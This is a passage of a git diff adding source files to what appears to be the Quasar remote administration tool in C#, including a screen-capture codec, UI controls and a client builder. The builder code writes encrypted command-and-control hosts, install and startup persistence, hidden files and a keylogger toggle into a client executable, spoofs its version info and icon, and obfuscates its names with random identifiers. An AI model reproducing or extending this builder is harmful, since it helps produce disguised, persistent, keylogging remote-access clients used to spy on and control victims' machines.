= 0; + } + i++; + } + strings.Add(strBuilder.ToString()); + strBuilder.Clear(); + } + + return strings.ToArray(); + } + } +} diff --git a/Quasar.Common/Utilities/SafeRandom.cs b/Quasar.Common/Utilities/SafeRandom.cs new file mode 100644 index 0000000..4e9dc1b --- /dev/null +++ b/Quasar.Common/Utilities/SafeRandom.cs @@ -0,0 +1,54 @@ +using System; +using System.Security.Cryptography; + +namespace Quasar.Common.Utilities +{ + /// + /// Thread-safe random number generator. + /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx + /// + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs new file mode 100644 index 0000000..24511b9 --- /dev/null +++ b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs @@ -0,0 +1,380 @@ +using Quasar.Common.Video.Compression; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Common.Video.Codecs +{ + public class UnsafeStreamCodec : IDisposable + { + public int Monitor { get; private set; } + public Resolution Resolution { get; private set; } + public Size CheckBlock { get; private set; } + public int ImageQuality + { + get { return _imageQuality; } + private set + { + lock (_imageProcessLock) + { + _imageQuality = value; + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + + _jpgCompression = new JpgCompression(_imageQuality); + } + } + } + + private int _imageQuality; + private byte[] _encodeBuffer; + private Bitmap _decodedBitmap; + private PixelFormat _encodedFormat; + private int _encodedWidth; + private int _encodedHeight; + private readonly object _imageProcessLock = new object(); + private JpgCompression _jpgCompression; + + /// + /// Initialize a new instance of UnsafeStreamCodec class. + /// + /// The quality to use between 0-100. + /// The monitor used for the images. + /// The resolution of the monitor. + public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution) + { + this.ImageQuality = imageQuality; + this.Monitor = monitor; + this.Resolution = resolution; + this.CheckBlock = new Size(50, 1); + } + + public void Dispose() + { + Dispose(true); + + // Tell the Garbage Collector to not waste time finalizing this object + // since we took care of it. + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + if (_decodedBitmap != null) + { + _decodedBitmap.Dispose(); + } + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + } + } + + public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, + Stream outStream) + { + lock (_imageProcessLock) + { + byte* pScan0; + if (IntPtr.Size == 8) + { + // 64 bit process + pScan0 = (byte*) scan0.ToInt64(); + } + else + { + // 32 bit process + pScan0 = (byte*)scan0.ToInt32(); + } + + if (!outStream.CanWrite) + { + throw new Exception("Must have access to Write in the Stream"); + } + + int stride = 0; + int rawLength = 0; + int pixelSize = 0; + + switch (format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + pixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + pixelSize = 4; + break; + default: + throw new NotSupportedException(format.ToString()); + } + + stride = imageSize.Width * pixelSize; + rawLength = stride * imageSize.Height; + + if (_encodeBuffer == null) + { + this._encodedFormat = format; + this._encodedWidth = imageSize.Width; + this._encodedHeight = imageSize.Height; + this._encodeBuffer = new byte[rawLength]; + + fixed (byte* ptr = _encodeBuffer) + { + byte[] temp = null; + using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) + { + temp = _jpgCompression.Compress(tmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength); + } + return; + } + + if (this._encodedFormat != format) + { + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) + { + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + long totalDataLength = 0; + + List blocks = new List(); + + Size s = new Size(scanArea.Width, CheckBlock.Height); + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + + int lasty = scanArea.Height - lastSize.Height; + int lastx = scanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + s = new Size(scanArea.Width, s.Height); + + fixed (byte* encBuffer = _encodeBuffer) + { + var index = 0; + + for (int y = scanArea.Y; y != scanArea.Height; y += s.Height) + { + if (y == lasty) + { + s = new Size(scanArea.Width, lastSize.Height); + } + + cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height); + + int offset = (y * stride) + (scanArea.X * pixelSize); + + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) + { + index = blocks.Count - 1; + + if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, + blocks[index].Height + cBlock.Height); + blocks[index] = cBlock; + } + else + { + blocks.Add(cBlock); + } + } + } + + for (int i = 0; i < blocks.Count; i++) + { + s = new Size(CheckBlock.Width, blocks[i].Height); + + for (int x = scanArea.X; x != scanArea.Width; x += s.Width) + { + if (x == lastx) + { + s = new Size(lastSize.Width, blocks[i].Height); + } + + cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height); + bool foundChanges = false; + uint blockStride = (uint)(pixelSize * cBlock.Width); + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X); + + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) + { + foundChanges = true; + } + + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); + //copy-changes + } + + if (foundChanges) + { + index = finalUpdates.Count - 1; + + if (finalUpdates.Count > 0 && + (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + } + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = pixelSize * rect.Width; + + Bitmap tmpBmp = null; + BitmapData tmpData = null; + long length; + + try + { + tmpBmp = new Bitmap(rect.Width, rect.Height, format); + tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), + ImageLockMode.ReadWrite, tmpBmp.PixelFormat); + + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X); + NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); + //copy-changes + offset += blockStride; + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + length = outStream.Length; + long old = outStream.Position; + + _jpgCompression.Compress(tmpBmp, ref outStream); + + length = outStream.Position - length; + + outStream.Position = old - 4; + outStream.Write(BitConverter.GetBytes(length), 0, 4); + outStream.Position += length; + } + finally + { + tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + } + + totalDataLength += length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4); + } + } + + public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) + { + if (length < 4) + { + return _decodedBitmap; + } + + int dataSize = *(int*)(codecBuffer); + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize); + } + + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + else + { + return _decodedBitmap; + } + } + + public Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int dataSize = BitConverter.ToInt32(temp, 0); + + if (_decodedBitmap == null) + { + temp = new byte[dataSize]; + inStream.Read(temp, 0, temp.Length); + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + + using (Graphics g = Graphics.FromImage(_decodedBitmap)) + { + while (dataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int updateLen = BitConverter.ToInt32(tempData, 16); + + byte[] buffer = new byte[updateLen]; + inStream.Read(buffer, 0, buffer.Length); + + using (MemoryStream m = new MemoryStream(buffer)) + { + using (Bitmap tmp = (Bitmap)Image.FromStream(m)) + { + g.DrawImage(tmp, rect.Location); + } + } + + dataSize -= updateLen + (4 * 5); + } + } + + return _decodedBitmap; + } + } +} diff --git a/Quasar.Common/Video/Compression/JpgCompression.cs b/Quasar.Common/Video/Compression/JpgCompression.cs new file mode 100644 index 0000000..93de834 --- /dev/null +++ b/Quasar.Common/Video/Compression/JpgCompression.cs @@ -0,0 +1,68 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Common.Video.Compression +{ + public class JpgCompression : IDisposable + { + private readonly ImageCodecInfo _encoderInfo; + private readonly EncoderParameters _encoderParams; + + public JpgCompression(long quality) + { + EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); + this._encoderInfo = GetEncoderInfo("image/jpeg"); + this._encoderParams = new EncoderParameters(2); + this._encoderParams.Param[0] = parameter; + this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long)EncoderValue.CompressionRle); + } + + public void Dispose() + { + Dispose(true); + + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + if (_encoderParams != null) + { + _encoderParams.Dispose(); + } + } + } + + public byte[] Compress(Bitmap bmp) + { + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, _encoderInfo, _encoderParams); + return stream.ToArray(); + } + } + + public void Compress(Bitmap bmp, ref Stream targetStream) + { + bmp.Save(targetStream, _encoderInfo, _encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + int num2 = imageEncoders.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} \ No newline at end of file diff --git a/Quasar.Common/Video/Resolution.cs b/Quasar.Common/Video/Resolution.cs new file mode 100644 index 0000000..f2b3949 --- /dev/null +++ b/Quasar.Common/Video/Resolution.cs @@ -0,0 +1,50 @@ +using System; +using ProtoBuf; + +namespace Quasar.Common.Video +{ + [ProtoContract] + public class Resolution : IEquatable + { + [ProtoMember(1)] + public int Width { get; set; } + + [ProtoMember(2)] + public int Height { get; set; } + + public bool Equals(Resolution other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Width == other.Width && Height == other.Height; + } + + public static bool operator ==(Resolution r1, Resolution r2) + { + if (ReferenceEquals(r1, null)) + return ReferenceEquals(r2, null); + + return r1.Equals(r2); + } + + public static bool operator !=(Resolution r1, Resolution r2) + { + return !(r1 == r2); + } + + public override bool Equals(object obj) + { + return Equals(obj as Resolution); + } + + public override int GetHashCode() + { + return Width ^ Height; + } + + public override string ToString() + { + return $"{Width}x{Height}"; + } + } +} diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs new file mode 100644 index 0000000..822dd98 --- /dev/null +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -0,0 +1,225 @@ +using Mono.Cecil; +using Mono.Cecil.Cil; +using Quasar.Common.Cryptography; +using Quasar.Server.Models; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using Vestris.ResourceLib; + +namespace Quasar.Server.Build +{ + /// + /// Provides methods used to create a custom client executable. + /// + public class ClientBuilder + { + private readonly BuildOptions _options; + private readonly string _clientFilePath; + + public ClientBuilder(BuildOptions options, string clientFilePath) + { + _options = options; + _clientFilePath = clientFilePath; + } + + /// + /// Builds a client executable. + /// + public void Build() + { + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing settings + WriteSettings(asmDef); + + // PHASE 2 - Renaming + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + // PHASE 3 - Saving + r.AsmDef.Write(_options.OutputPath); + } + + // PHASE 4 - Assembly Information changing + if (_options.AssemblyInformation != null) + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(_options.OutputPath); + + versionResource.FileVersion = _options.AssemblyInformation[7]; + versionResource.ProductVersion = _options.AssemblyInformation[6]; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; + stringFileInfo["CompanyName"] = _options.AssemblyInformation[2]; + stringFileInfo["FileDescription"] = _options.AssemblyInformation[1]; + stringFileInfo["ProductName"] = _options.AssemblyInformation[0]; + stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3]; + stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4]; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = _options.AssemblyInformation[5]; + stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5]; + + versionResource.SaveTo(_options.OutputPath); + } + + // PHASE 5 - Icon changing + if (!string.IsNullOrEmpty(_options.IconPath)) + { + IconFile iconFile = new IconFile(_options.IconPath); + IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); + iconDirectoryResource.SaveTo(_options.OutputPath); + } + } + + private void WriteSettings(AssemblyDefinition asmDef) + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + + var key = serverCertificate.Thumbprint; + var aes = new Aes256(key); + + byte[] signature; + // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 + using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); + } + + foreach (var typeDef in asmDef.Modules[0].Types) + { + if (typeDef.FullName == "Quasar.Client.Config.Settings") + { + foreach (var methodDef in typeDef.Methods) + { + if (methodDef.Name == ".cctor") + { + int strings = 1, bools = 1; + + for (int i = 0; i < methodDef.Body.Instructions.Count; i++) + { + if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string + { + switch (strings) + { + case 1: //version + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); + break; + case 2: //ip/hostname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); + break; + case 3: //installsub + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); + break; + case 4: //installname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); + break; + case 5: //mutex + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); + break; + case 6: //startupkey + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); + break; + case 7: //encryption key + methodDef.Body.Instructions[i].Operand = key; + break; + case 8: //tag + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); + break; + case 9: //LogDirectoryName + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); + break; + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + break; + case 11: //ServerCertificate + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); + break; + } + strings++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || + methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool + { + switch (bools) + { + case 1: //install + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); + break; + case 2: //startup + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); + break; + case 3: //hidefile + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); + break; + case 4: //Keylogger + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); + break; + case 5: //HideLogDirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); + break; + case 6: // HideInstallSubdirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); + break; + case 7: // UnattendedMode + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode)); + break; + } + bools++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int + { + //reconnectdelay + methodDef.Body.Instructions[i].Operand = _options.Delay; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte + { + methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); + } + } + } + } + } + } + } + + /// + /// Obtains the OpCode that corresponds to the bool value provided. + /// + /// The value to convert to the OpCode + /// Returns the OpCode that represents the value provided. + private OpCode BoolOpCode(bool p) + { + return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; + } + + /// + /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. + /// + /// The integer value of the install path. + /// Returns the signed-byte value of the special folder. + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) + { + switch (installPath) + { + case 1: + return (sbyte)Environment.SpecialFolder.ApplicationData; + case 2: + return (sbyte)Environment.SpecialFolder.ProgramFiles; + case 3: + return (sbyte)Environment.SpecialFolder.System; + default: + throw new ArgumentException("InstallPath"); + } + } + } +} diff --git a/Quasar.Server/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs new file mode 100644 index 0000000..fe9ef52 --- /dev/null +++ b/Quasar.Server/Build/Renamer.cs @@ -0,0 +1,195 @@ +using Mono.Cecil; +using Quasar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quasar.Server.Build +{ + public class Renamer + { + /// + /// Contains the assembly definition. + /// + public AssemblyDefinition AsmDef { get; set; } + + private int Length { get; set; } + private MemberOverloader _typeOverloader; + private Dictionary _methodOverloaders; + private Dictionary _fieldOverloaders; + private Dictionary _eventOverloaders; + + public Renamer(AssemblyDefinition asmDef) + : this(asmDef, 20) + { + } + + public Renamer(AssemblyDefinition asmDef, int length) + { + this.AsmDef = asmDef; + this.Length = length; + _typeOverloader = new MemberOverloader(this.Length); + _methodOverloaders = new Dictionary(); + _fieldOverloaders = new Dictionary(); + _eventOverloaders = new Dictionary(); + } + + /// + /// Attempts to modify the assembly definition data. + /// + /// True if the operation succeeded; False if the operation failed. + public bool Perform() + { + try + { + foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) + { + RenameInType(typeDef); + } + return true; + } + catch + { + return false; + } + } + + private void RenameInType(TypeDefinition typeDef) + { + if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */) + return; + + _typeOverloader.GiveName(typeDef); + + typeDef.Namespace = string.Empty; + + MemberOverloader methodOverloader = GetMethodOverloader(typeDef); + MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); + MemberOverloader eventOverloader = GetEventOverloader(typeDef); + + if (typeDef.HasNestedTypes) + foreach (TypeDefinition nestedType in typeDef.NestedTypes) + RenameInType(nestedType); + + if (typeDef.HasMethods) + foreach (MethodDefinition methodDef in + typeDef.Methods.Where(methodDef => + !methodDef.IsConstructor && !methodDef.HasCustomAttributes && + !methodDef.IsAbstract && !methodDef.IsVirtual)) + methodOverloader.GiveName(methodDef); + + if (typeDef.HasFields) + foreach (FieldDefinition fieldDef in typeDef.Fields) + fieldOverloader.GiveName(fieldDef); + + if (typeDef.HasEvents) + foreach (EventDefinition eventDef in typeDef.Events) + eventOverloader.GiveName(eventDef); + } + + private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._methodOverloaders, typeDef); + } + + private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._fieldOverloaders, typeDef); + } + + private MemberOverloader GetEventOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._eventOverloaders, typeDef); + } + + private MemberOverloader GetOverloader(Dictionary overloaderDictionary, + TypeDefinition targetTypeDef) + { + MemberOverloader overloader; + if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader)) + { + overloader = new MemberOverloader(this.Length); + overloaderDictionary.Add(targetTypeDef, overloader); + } + return overloader; + } + + private class MemberOverloader + { + private bool DoRandom { get; set; } + private int StartingLength { get; set; } + private readonly Dictionary _renamedMembers = new Dictionary(); + private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); + private int[] _indices; + + public MemberOverloader(int startingLength, bool doRandom = true) + : this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray()) + { + } + + private MemberOverloader(int startingLength, bool doRandom, char[] chars) + { + this._charMap = chars; + this.DoRandom = doRandom; + this.StartingLength = startingLength; + this._indices = new int[startingLength]; + } + + public void GiveName(MemberReference member) + { + string currentName = GetCurrentName(); + string originalName = member.ToString(); + member.Name = currentName; + while (_renamedMembers.ContainsValue(member.ToString())) + { + member.Name = GetCurrentName(); + } + _renamedMembers.Add(originalName, member.ToString()); + } + + private string GetCurrentName() + { + return DoRandom ? GetRandomName() : GetOverloadedName(); + } + + private string GetRandomName() + { + StringBuilder builder = new StringBuilder(); + + for (int i = 0; i < StartingLength; i++) + { + builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); + } + + return builder.ToString(); + } + + private string GetOverloadedName() + { + IncrementIndices(); + char[] chars = new char[_indices.Length]; + for (int i = 0; i < _indices.Length; i++) + chars[i] = _charMap[_indices[i]]; + return new string(chars); + } + + private void IncrementIndices() + { + for (int i = _indices.Length - 1; i >= 0; i--) + { + _indices[i]++; + if (_indices[i] >= _charMap.Length) + { + if (i == 0) + Array.Resize(ref _indices, _indices.Length + 1); + _indices[i] = 0; + } + else + break; + } + } + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Controls/DotNetBarTabControl.cs b/Quasar.Server/Controls/DotNetBarTabControl.cs new file mode 100644 index 0000000..21a33f8 --- /dev/null +++ b/Quasar.Server/Controls/DotNetBarTabControl.cs @@ -0,0 +1,141 @@ +using System; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Windows.Forms; + +// thanks to Mavamaarten~ for coding this + +namespace Quasar.Server.Controls +{ + internal class DotNetBarTabControl : TabControl + { + public DotNetBarTabControl() + { + SetStyle( + ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | ControlStyles.UserPaint | + ControlStyles.DoubleBuffer, true); + SizeMode = TabSizeMode.Fixed; + ItemSize = new Size(44, 136); + Alignment = TabAlignment.Left; + SelectedIndex = 0; + } + + protected override void OnPaint(PaintEventArgs e) + { + Bitmap b = new Bitmap(Width, Height); + Graphics g = Graphics.FromImage(b); + if (!DesignMode) + SelectedTab.BackColor = SystemColors.Control; + g.Clear(SystemColors.Control); + g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)), + new Rectangle(0, 0, ItemSize.Height + 4, Height)); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(ItemSize.Height + 3, 0), + new Point(ItemSize.Height + 3, 999)); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(0, Size.Height - 1), + new Point(Width + 3, Size.Height - 1)); + for (int i = 0; i <= TabCount - 1; i++) + { + if (i == SelectedIndex) + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + ColorBlend myBlend = new ColorBlend(); + myBlend.Colors = new Color[] { Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240) }; + myBlend.Positions = new float[] { 0f, 0.5f, 1f }; + LinearGradientBrush lgBrush = new LinearGradientBrush(x2, Color.Black, Color.Black, 90f); + lgBrush.InterpolationColors = myBlend; + g.FillRectangle(lgBrush, x2); + g.DrawRectangle(new Pen(Color.FromArgb(170, 187, 204)), x2); + + g.SmoothingMode = SmoothingMode.HighQuality; + Point[] p = + { + new Point(ItemSize.Height - 3, GetTabRect(i).Location.Y + 20), + new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 14), + new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 27) + }; + g.FillPolygon(SystemBrushes.Control, p); + g.DrawPolygon(new Pen(Color.FromArgb(170, 187, 204)), p); + + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + g.DrawString(" " + TabPages[i].Text, Font, Brushes.Black, x2, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }); + } + catch (Exception) + { + g.DrawString(TabPages[i].Text, new Font(Font.FontFamily, Font.Size, FontStyle.Bold), + Brushes.Black, x2, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }); + } + } + else + { + g.DrawString(TabPages[i].Text, new Font(Font.FontFamily, Font.Size, FontStyle.Bold), + Brushes.Black, x2, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }); + } + + g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Location.Y - 1), + new Point(x2.Location.X, x2.Location.Y)); + g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Bottom - 1), + new Point(x2.Location.X, x2.Bottom)); + } + else + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)), x2); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(x2.Right, x2.Top), + new Point(x2.Right, x2.Bottom)); + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + g.DrawString(" " + TabPages[i].Text, Font, Brushes.DimGray, x2, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }); + } + catch (Exception) + { + g.DrawString(TabPages[i].Text, Font, Brushes.DimGray, x2, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }); + } + } + else + { + g.DrawString(TabPages[i].Text, Font, Brushes.DimGray, x2, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }); + } + } + } + + e.Graphics.DrawImage(b, new Point(0, 0)); + g.Dispose(); + b.Dispose(); + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Controls/HexEditor/ByteCollection.cs b/Quasar.Server/Controls/HexEditor/ByteCollection.cs new file mode 100644 index 0000000..42e8249 --- /dev/null +++ b/Quasar.Server/Controls/HexEditor/ByteCollection.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Controls.HexEditor +{ + public class ByteCollection + { + private List _bytes; + + #region Properties + + public int Length + { + get { return _bytes.Count; } + } + + #endregion + + #region Constructor + + public ByteCollection() + { + _bytes = new List(); + } + + public ByteCollection(byte[] bytes) + { + _bytes = new List(bytes); + } + + #endregion + + #region Methods + + public void Add(byte item) + { + _bytes.Add(item); + } + + public void Insert(int index, byte item) + { + _bytes.Insert(index, item); + } + + public void Remove(byte item) + { + _bytes.Remove(item); + } + + public void RemoveAt(int index) + { + _bytes.RemoveAt(index); + } + + public void RemoveRange(int startIndex, int count) + { + _bytes.RemoveRange(startIndex, count); + } + + public byte GetAt(int index) + { + return _bytes[index]; + } + + public void 